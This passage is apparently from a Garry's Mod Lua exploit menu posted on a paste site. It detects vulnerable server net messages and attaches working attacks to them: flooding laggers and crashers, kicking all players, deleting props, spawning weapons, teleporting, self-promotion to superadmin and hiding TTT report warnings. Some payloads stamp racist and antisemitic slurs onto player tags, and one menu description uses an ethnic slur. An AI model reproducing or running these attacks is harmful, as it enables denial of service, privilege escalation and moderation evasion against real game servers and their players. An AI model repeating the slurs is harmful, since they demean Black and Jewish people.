  905. net.Start( "ATS_WARP_REMOVE_CLIENT" )
  906.  
  907. net.WriteEntity( v )
  908.  
  909. net.WriteString( "adminroom1" )
  910.  
  911. net.SendToServer()
  912.  
  913. net.Start( "ATS_WARP_FROM_CLIENT" )
  914.  
  915. net.WriteEntity( v )
  916.  
  917. net.WriteString( "adminroom1" )
  918.  
  919. net.SendToServer()
  920.  
  921. net.Start( "ATS_WARP_VIEWOWNER" )
  922.  
  923. net.WriteEntity( v )
  924.  
  925. net.WriteString( "adminroom1" )
  926.  
  927. net.SendToServer()
  928.  
  929. end
  930.  
  931. end)
  932. else
  933. SploitNotify("Stopping Lagger")
  934. lagger1 = 0
  935. timer.Remove("lagger1")
  936. end
  937.  
  938. end);end
  939.  
  940. local status = ValidNetString("CFRemoveGame")
  941. if (status) then
  942. SploitText("Found Exploit: Lagger #2")
  943. lagger2 = 0
  944. addExploit( "21", "Lagger #2", "b1g lags", function()
  945. surface.PlaySound("garrysmod/ui_click.wav")
  946. if (lagger2 == 0) then
  947. SploitNotify("Starting Lagger")
  948. lagger2 = 1
  949. timer.Create("lagger2", 0.01, 0, function()
  950.  
  951. for k,v in pairs(player.GetAll()) do
  952.  
  953. net.Start( "CFRemoveGame" )
  954.  
  955. net.WriteFloat( math.Round( "10000\n" ) )
  956.  
  957. net.SendToServer()
  958.  
  959. net.Start( "CFJoinGame" )
  960.  
  961. net.WriteFloat( math.Round( "10000\n" ) )
  962.  
  963. net.SendToServer()
  964.  
  965. net.Start( "CFEndGame" )
  966.  
  967. net.WriteFloat( "10000\n" )
  968.  
  969. net.SendToServer()
  970.  
  971. end
  972.  
  973. end)
  974. else
  975. SploitNotify("Stopping Lagger")
  976. lagger2 = 0
  977. timer.Remove("lagger2")
  978. end
  979.  
  980. end);end
  981.  
  982. local status = ValidNetString("CreateCase")
  983. if (status) then
  984. SploitText("Found Exploit: Lagger #4")
  985. lagger4 = 0
  986. addExploit( "23", "Lagger #4", "b1g lags", function()
  987. surface.PlaySound("garrysmod/ui_click.wav")
  988. if (lagger4 == 0) then
  989. SploitNotify("Starting Lagger")
  990. lagger4 = 1
  991. timer.Create("lagger4", 0.02, 0, function()
  992.  
  993. for i = 1, 300 do
  994.  
  995. net.Start( "CreateCase" )
  996.  
  997. net.WriteString( "tapped by citizenhack.me" )
  998.  
  999. net.SendToServer()
  1000.  
  1001.  
  1002. end;end)
  1003. else
  1004. SploitNotify("Stopping Lagger")
  1005. lagger4 = 0
  1006. timer.Remove("lagger4")
  1007. end
  1008.  
  1009. end);end
  1010.  
  1011. local status = ValidNetString("rprotect_terminal_settings")
  1012. if (status) then
  1013. SploitText("Found Exploit: Lagger #5")
  1014. lagger5 = 0
  1015. addExploit( "24", "Lagger #5", "b1g lags", function()
  1016. surface.PlaySound("garrysmod/ui_click.wav")
  1017. if (lagger5 == 0) then
  1018. SploitNotify("Starting Lagger")
  1019. lagger5 = 1
  1020. timer.Create("lagger5", 0.02, 0, function()
  1021.  
  1022. for i = 1, 200 do
  1023.  
  1024. net.Start( "rprotect_terminal_settings" )
  1025.  
  1026. net.WriteEntity( LocalPlayer() )
  1027.  
  1028. net.SendToServer()
  1029.  
  1030. end
  1031.  
  1032. end)
  1033. else
  1034. SploitNotify("Stopping Lagger")
  1035. lagger5 = 0
  1036. timer.Remove("lagger5")
  1037. end
  1038.  
  1039. end);end
  1040.  
  1041. local status = ValidNetString("StackGhost")
  1042. if (status) then
  1043. SploitText("Found Exploit: Lagger #6")
  1044. lagger6 = 0
  1045. addExploit( "25", "Lagger #6", "b1g lags", function()
  1046. surface.PlaySound("garrysmod/ui_click.wav")
  1047. if (lagger6 == 0) then
  1048. SploitNotify("Starting Lagger")
  1049. lagger6 = 1
  1050. timer.Create("lagger6", 0.010, 0, function()
  1051.  
  1052. for i = 1, 8 do
  1053. for k,v in pairs( player.GetAll() ) do
  1054. net.Start( "StackGhost" )
  1055. net.WriteInt(69,32)
  1056. net.SendToServer()
  1057.  
  1058. end;end;end)
  1059. else
  1060. SploitNotify("Stopping Lagger")
  1061. lagger6 = 0
  1062. timer.Remove("lagger6")
  1063. end
  1064.  
  1065. end);end
  1066.  
  1067.  
  1068.  
  1069. local status = ValidNetString("pac_to_contraption")
  1070. if (status) then
  1071. SploitText("Found Exloit: Crash Server")
  1072. addExploit( "26","Crash Server", "Crashes the server (seems to not always work)", function()
  1073. surface.PlaySound("garrysmod/ui_click.wav")
  1074. SploitNotify("Crashing Server")
  1075. local tbl = {}
  1076.  
  1077. for i=1,1000000000 do
  1078.  
  1079. tbl[#tbl + 1] = i
  1080.  
  1081. end
  1082.  
  1083. net.Start("pac_to_contraption")
  1084.  
  1085. net.WriteTable( tbl )
  1086.  
  1087. net.SendToServer()
  1088. end);end
  1089.  
  1090.  
  1091. local status = ValidNetString("NLRKick")
  1092. if (status) then
  1093. SploitText("Found Exploit: Kick All")
  1094. addExploit( "27","Kick All", "kick all the beaners", function()
  1095. surface.PlaySound("garrysmod/ui_click.wav")
  1096. SploitNotify("Kicking All")
  1097. for k,v in pairs(player.GetAll()) do
  1098. if v != LocalPlayer() then
  1099. net.Start("NLRKick")
  1100. net.WriteEntity(v)
  1101. net.SendToServer()
  1102. end
  1103. end
  1104. end);end
  1105.  
  1106. local status = ValidNetString("JoinOrg")
  1107. if (status) then
  1108. SploitText("Found Exploit: Lagger #7")
  1109. lagger7 = 0
  1110. addExploit( "28", "Lagger #7", "b1111g lags", function()
  1111. surface.PlaySound("garrysmod/ui_click.wav")
  1112. if (lagger7 == 0) then
  1113. SploitNotify("Starting Lagger")
  1114. lagger7 = 1
  1115. timer.Create("lagger7", 0.02, 0, function()
  1116.  
  1117. for k,v in pairs(player.GetAll()) do
  1118. net.Start("JoinOrg")
  1119. net.WriteEntity(LocalPlayer())
  1120. net.WriteString("test")
  1121. net.SendToServer()
  1122. end
  1123.  
  1124. end)
  1125. else
  1126. SploitNotify("Stopping Lagger")
  1127. lagger7 = 0
  1128. timer.Remove("lagger7")
  1129. end
  1130.  
  1131. end);end
  1132.  
  1133. local status = ValidNetString("giveweapon")
  1134. if (status) then
  1135. SploitText("Found Exploit: Give Weapons")
  1136. addExploit( "29", "Give Weapons", "big explo1t", function()
  1137. inputFrame2Exists = true
  1138. inputFrame2 = vgui.Create( "DFrame" )
  1139. inputFrame2:SetTitle("Choose a weapon!")
  1140. inputFrame2:SetSize( 400, 75 )
  1141. inputFrame2:SetPos(ScrW() / 2 - inputFrame2:GetWide() / 2, ScrH() / 2 + 230 )
  1142. inputFrame2:SetDraggable(false)
  1143. inputFrame2:ShowCloseButton(false)
  1144. inputFrame2:MakePopup()
  1145. inputFrame2.Paint = function( self, w, h )
  1146. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1147. end
  1148.  
  1149. local TextEntry2 = vgui.Create( "DTextEntry", inputFrame2 )
  1150. TextEntry2:SetSize( 380, 30 )
  1151. TextEntry2:SetPos( inputFrame2:GetWide() / 2 - TextEntry2:GetWide() / 2, inputFrame2:GetTall() / 2 - TextEntry2:GetTall() / 2 )
  1152. TextEntry2:SetText( "m9k_ak47" )
  1153. TextEntry2.OnEnter = function( self )
  1154. surface.PlaySound("garrysmod/ui_click.wav")
  1155. SploitNotify("Giving " .. TextEntry2:GetValue())
  1156.  
  1157.  
  1158. net.Start("giveweapon")
  1159. net.WriteEntity(LocalPlayer())
  1160. net.WriteString(TextEntry2:GetValue())
  1161. net.SendToServer()
  1162.  
  1163. inputFrame2:SetVisible(false)
  1164. end
  1165. end)
  1166. end
  1167.  
  1168. local status = ValidNetString("timebombDefuse")
  1169. if (status) then
  1170. SploitText("Found Exploit: Delete All Props")
  1171. addExploit( "30","Delete All Props", "props = dead", function()
  1172. surface.PlaySound("garrysmod/ui_click.wav")
  1173. SploitNotify("Props De_Stroyed")
  1174. for k,v in pairs(ents.GetAll()) do
  1175. net.Start("timebombDefuse")
  1176. net.WriteEntity(v)
  1177. net.WriteBool(true)
  1178. net.SendToServer()
  1179. end
  1180. end);end
  1181.  
  1182. local status = ValidNetString("pac_submit")
  1183. if (status) then
  1184. SploitText("Found Exploit: Lagger")
  1185. addExploit( "31","Lagger #8", "l4g yuh", function()
  1186. surface.PlaySound("garrysmod/ui_click.wav")
  1187.  
  1188. if !timer.Exists( "lagger8" ) then
  1189. timer.Create("lagger8", 0.5, 0, function()
  1190. for i=1, 1800 do
  1191. net.Start("pac_submit")
  1192. net.SendToServer()
  1193. end
  1194. end)
  1195. SploitNotify("Starting Lagger")
  1196. else
  1197. timer.Remove("lagger8")
  1198. SploitNotify("Stopping Lagger")
  1199. end
  1200. end);end
  1201.  
  1202.  
  1203. local status = ValidNetString("steamid2")
  1204. if (status) then
  1205. SploitText("Found Exploit: Lagger #9")
  1206. addExploit( "32","Lagger #9", "l4g yuhhhhhhhhhhhh", function()
  1207. surface.PlaySound("garrysmod/ui_click.wav")
  1208.  
  1209. if !timer.Exists( "lagger9" ) then
  1210.  
  1211. SploitNotify("Starting Lagger")
  1212.  
  1213. timer.Create( "lagger9", 0, 0, function()
  1214.  
  1215. for i = 1, 100 do
  1216.  
  1217. net.Start( "steamid2" )
  1218.  
  1219. net.WriteString( "discord.gg/F7nSfff" )
  1220.  
  1221. net.SendToServer()
  1222. end
  1223. end)
  1224. else
  1225. timer.Remove("lagger9")
  1226. SploitNotify("Stopping Lagger")
  1227. end
  1228.  
  1229. end);end
  1230.  
  1231. local status = ValidNetString("NDES_SelectedEmblem")
  1232. if (status) then
  1233. SploitText("Found Exploit: Lagger #10")
  1234. addExploit( "33","Lagger #10", "oof yuh get l4gged", function()
  1235. surface.PlaySound("garrysmod/ui_click.wav")
  1236.  
  1237. if !timer.Exists( "lagger10" ) then
  1238. timer.Create("lagger10", 0.5, 0, function()
  1239. for i=1, 2000 do
  1240. net.Start("NDES_SelectedEmblem")
  1241. net.WriteString("exploitcity")
  1242. net.SendToServer()
  1243. end
  1244. end)
  1245. SploitNotify("Starting Lagger")
  1246. else
  1247. timer.Remove("lagger10")
  1248. SploitNotify("Stopping Lagger")
  1249. end
  1250.  
  1251.  
  1252. end);end
  1253.  
  1254.  
  1255.  
  1256. local status = ValidNetString("Morpheus.StaffTracker")
  1257. if (status) then
  1258. SploitText("Found Exploit: Crasher #3")
  1259. addExploit( "33","Crasher #3", "not even hard. unlike nippy's dick when he sees voltz", function()
  1260. surface.PlaySound("garrysmod/ui_click.wav")
  1261.  
  1262. if !timer.Exists( "crasher3" ) then
  1263. timer.Create("crasher3", 0.5, 0, function()
  1264. for i=1, 2000 do
  1265. net.Start("Morpheus.StaffTracker")
  1266. net.SendToServer()
  1267. end
  1268. end)
  1269. SploitNotify("Crashing Server")
  1270. else
  1271. timer.Remove("crasher3")
  1272. SploitNotify( "Canceling Crasher" )
  1273. end
  1274.  
  1275. end);end
  1276.  
  1277.  
  1278. local status = ValidNetString("egg")
  1279. if (status) then
  1280. SploitText("Found Exploit: Get Easter Egg")
  1281. addExploit( "34","Get Easter Egg", "ez eggs", function()
  1282. surface.PlaySound("garrysmod/ui_click.wav")
  1283.  
  1284. net.Start("egg")
  1285. net.SendToServer()
  1286. SploitNotify("Gave Easter Egg")
  1287.  
  1288. end);end
  1289.  
  1290. local status = ValidNetString("TalkIconChat")
  1291. if (status) then
  1292. spoofchat = 0
  1293. SploitText("Found Exploit: Spoof Chat Icon")
  1294. addExploit( "35","Spoof Chat Icon", "not really a big exploit just fun", function()
  1295. surface.PlaySound("garrysmod/ui_click.wav")
  1296.  
  1297. if spoofchat == 0 then
  1298. hook.Remove('StartChat', 'TalkIcon')
  1299. net.Start("TalkIconChat")
  1300. net.WriteBool(true)
  1301. net.SendToServer()
  1302. spoofchat = 1
  1303. SploitNotify("Enabled Icon Spoofer")
  1304. else
  1305. net.Start("TalkIconChat")
  1306. net.WriteBool(false)
  1307. net.SendToServer()
  1308. SploitNotify("Disabled Icon Spoofer")
  1309. spoofchat = 0
  1310. end
  1311.  
  1312.  
  1313. end);end
  1314.  
  1315.  
  1316. local status = ValidNetString("join_disconnect")
  1317. if (status) then
  1318. SploitText("Found Exploit: Lagger #11")
  1319. addExploit( "36","Lagger #11", "b1g lags my duder", function()
  1320. surface.PlaySound("garrysmod/ui_click.wav")
  1321.  
  1322. if !timer.Exists( "lagger11" ) then
  1323. timer.Create("lagger11", 0.5, 0, function()
  1324. for i=1, 3000 do
  1325. net.Start("join_disconnect")
  1326. net.WriteEntity(table.Random(player.GetAll()))
  1327. net.SendToServer()
  1328. end
  1329. end)
  1330. SploitNotify("Starting Lagger")
  1331. else
  1332. timer.Remove("lagger11")
  1333. SploitNotify("Stopping Lagger")
  1334. end
  1335.  
  1336.  
  1337. end);end
  1338.  
  1339.  
  1340. local status = ValidNetString("pplay_deleterow")
  1341. if (status) then
  1342. SploitText("Found Exploit: GET SUPERADMIN")
  1343. addExploit( "37","GET SUPERADMIN", "Rejoin game after clicking", function()
  1344. surface.PlaySound("garrysmod/ui_click.wav")
  1345.  
  1346. local id = LocalPlayer():SteamID()
  1347.  
  1348. local tbl = {}
  1349.  
  1350. tbl.name = "FAdmin_PlayerGroup"
  1351.  
  1352. tbl.where = {
  1353.  
  1354. "steamid",
  1355.  
  1356. tostring(id)
  1357.  
  1358. }
  1359.  
  1360. net.Start("pplay_deleterow")
  1361.  
  1362. net.WriteTable(tbl)
  1363.  
  1364. net.SendToServer()
  1365.  
  1366.  
  1367.  
  1368. local tbl = {}
  1369.  
  1370. tbl.tblname = "FAdmin_PlayerGroup"
  1371.  
  1372. tbl.tblinfo = {
  1373.  
  1374. tostring(id),
  1375.  
  1376. "superadmin"
  1377.  
  1378. }
  1379.  
  1380. net.Start("pplay_addrow")
  1381.  
  1382. net.WriteTable(tbl)
  1383.  
  1384. net.SendToServer()
  1385.  
  1386. SploitNotify("promotion ;)")
  1387.  
  1388.  
  1389. end);end
  1390.  
  1391. -- ttt report bypass by daddy grampa
  1392. local title = "You have been reported! Please answer all your reports."
  1393. local function CheckChild(pan)
  1394. if !pan || !IsValid(pan) then return end
  1395. if pan.GetTitle && pan:GetTitle() == title then
  1396. pan:Remove();
  1397. print("Removed warning box")
  1398. return
  1399. end
  1400. for k,v in pairs(pan:GetChildren()) do
  1401. if v.GetTitle && v:GetTitle() == title then
  1402. v:Remove();
  1403. print("Removed warning box")
  1404. return
  1405. end
  1406. if #v:GetChildren() > 0 then
  1407. CheckChild(v)
  1408. end
  1409. end
  1410. end
  1411.  
  1412.  
  1413. if (engine.ActiveGamemode() == "terrortown") then
  1414. bypass = 0
  1415. SploitText("Found Exploit: TTT Report Bypass")
  1416. addExploit( "38","Toggle TTT Report Bypass", "b1g bypass amirite", function()
  1417. surface.PlaySound("garrysmod/ui_click.wav")
  1418.  
  1419. if (bypass == 0) then
  1420. hook.Add("Think", "remove_ttt_report", function()
  1421. local pan = vgui.GetHoveredPanel()
  1422. CheckChild(pan)
  1423. end)
  1424. SploitNotify("Enabled Report Bypass")
  1425. bypass = 1
  1426. else
  1427. hook.Remove("Think", "remove_ttt_report")
  1428. SploitNotify("Disabled Report Bypass")
  1429. bypass = 0
  1430. end
  1431.  
  1432.  
  1433. end);end
  1434.  
  1435. local status = ValidNetString("EZS_PlayerTag")
  1436. if (status) then
  1437. SploitText("Found exploitable net message: EZS_PlayerTag")
  1438. addExploit( "39","Lagger #12", "b1g lags my duder", function()
  1439. surface.PlaySound("garrysmod/ui_click.wav")
  1440.  
  1441. if !timer.Exists( "lagger12" ) then
  1442. timer.Create("lagger12", 0.5, 0, function()
  1443. for k, v in pairs(player.GetAll()) do
  1444. net.Start( "EZS_PlayerTag" )
  1445. net.WriteEntity(v)
  1446. net.WriteString("I hate niggers")
  1447. net.SendToServer()
  1448. timer.Simple(2, function()
  1449. net.Start( "EZS_PlayerTag" )
  1450. net.WriteEntity(v)
  1451. net.WriteString("I hate jews")
  1452. net.SendToServer()
  1453. end)
  1454. end
  1455. end)
  1456. SploitNotify("Starting Lagger")
  1457. else
  1458. timer.Remove("lagger12")
  1459. SploitNotify("Stopping Lagger")
  1460. end
  1461. end);end
  1462.  
  1463. if ConVarExists("advttt_spreadovertime_enabled") then
  1464. SploitText("Found exploitable hook: WyoziAdvTTTSpreadOverTime")
  1465. addExploit( "40","Remove Spread", "pSilent No Spread", function()
  1466. surface.PlaySound("garrysmod/ui_click.wav")
  1467. hook.Remove("PlayerTick", "WyoziAdvTTTSpreadOverTime")
  1468. SploitNotify("Spread Removed")
  1469. end);end
  1470.  
  1471.  
  1472. local status = ValidNetString("ATS_WARP_FROM_CLIENT")
  1473. if (status) then
  1474. SploitText("Found exploitable net message: ATS_WARP_FROM_CLIENT")
  1475. addExploit( "41", "Teleport", "Specify a string destination and u will be tped to it", function()
  1476. inputFrame3Exists = true
  1477. inputFrame3 = vgui.Create( "DFrame" )
  1478. inputFrame3:SetTitle("Type a String Destination")
  1479. inputFrame3:SetSize( 400, 75 )
  1480. inputFrame3:SetPos(ScrW() / 2 - inputFrame3:GetWide() / 2, ScrH() / 2 + 230 )
  1481. inputFrame3:SetDraggable(false)
  1482. inputFrame3:ShowCloseButton(false)
  1483. inputFrame3:MakePopup()
  1484. inputFrame3.Paint = function( self, w, h )
  1485. draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
  1486. end
  1487.  
  1488. local TextEntry3 = vgui.Create( "DTextEntry", inputFrame3 )
  1489. TextEntry3:SetSize( 380, 30 )
  1490. TextEntry3:SetPos( inputFrame3:GetWide() / 2 - TextEntry3:GetWide() / 2, inputFrame3:GetTall() / 2 - TextEntry3:GetTall() / 2 )
  1491. TextEntry3:SetText( "*destination*" )
  1492. TextEntry3.OnEnter = function( self )
  1493. surface.PlaySound("garrysmod/ui_click.wav")
  1494. SploitNotify("Teleporting to " .. TextEntry3:GetValue() )
  1495.  
  1496. net.Start( "ATS_WARP_FROM_CLIENT" )
  1497.  
  1498. net.WriteEntity( LocalPlayer() )
  1499. net.WriteString( TextEntry3:GetValue() )
  1500.  
  1501. net.SendToServer()
  1502.  
  1503.  
  1504. inputFrame3:SetVisible(false)
  1505. end
  1506. end)
  1507. end
  1508.  
  1509.  
  1510.  
  1511.  
  1512.  
  1513.  
  1514. /*
  1515. local status = ValidNetString("TCBuyAmmo")
  1516. if (status) then
  1517. addExploit( "2","Free Ammo", "Gets All Ammo Types", function()
  1518. surface.PlaySound("garrysmod/ui_click.wav")
  1519. SploitText("Getting Le Ammo")
  1520. end);end
  1521. */
  1522.  
  1523.  
  1524.  
  1525.  
  1526. concommand.Add("exploits_open", function()
  1527. Main:SetVisible(true)
  1528. Main:MakePopup()
  1529. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH() / 2 - Main:GetTall() / 2, .4, 0, -1)
  1530. end)
  1531.  
  1532. closebutton.DoClick = function()
  1533. Main:SetMouseInputEnabled(false)
  1534. Main:SetKeyBoardInputEnabled(false)
  1535. if (inputFrameExists) then
  1536. inputFrame:SetVisible(false)
  1537. end
  1538. if (inputFrame2Exists) then
  1539. inputFrame2:SetVisible(false)
  1540. end
  1541. Main:MoveTo( ScrW() / 2 - Main:GetWide() / 2, ScrH(), .4, 0, -1, function()
  1542. Main:SetVisible(false)
  1543. end)
  1544. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement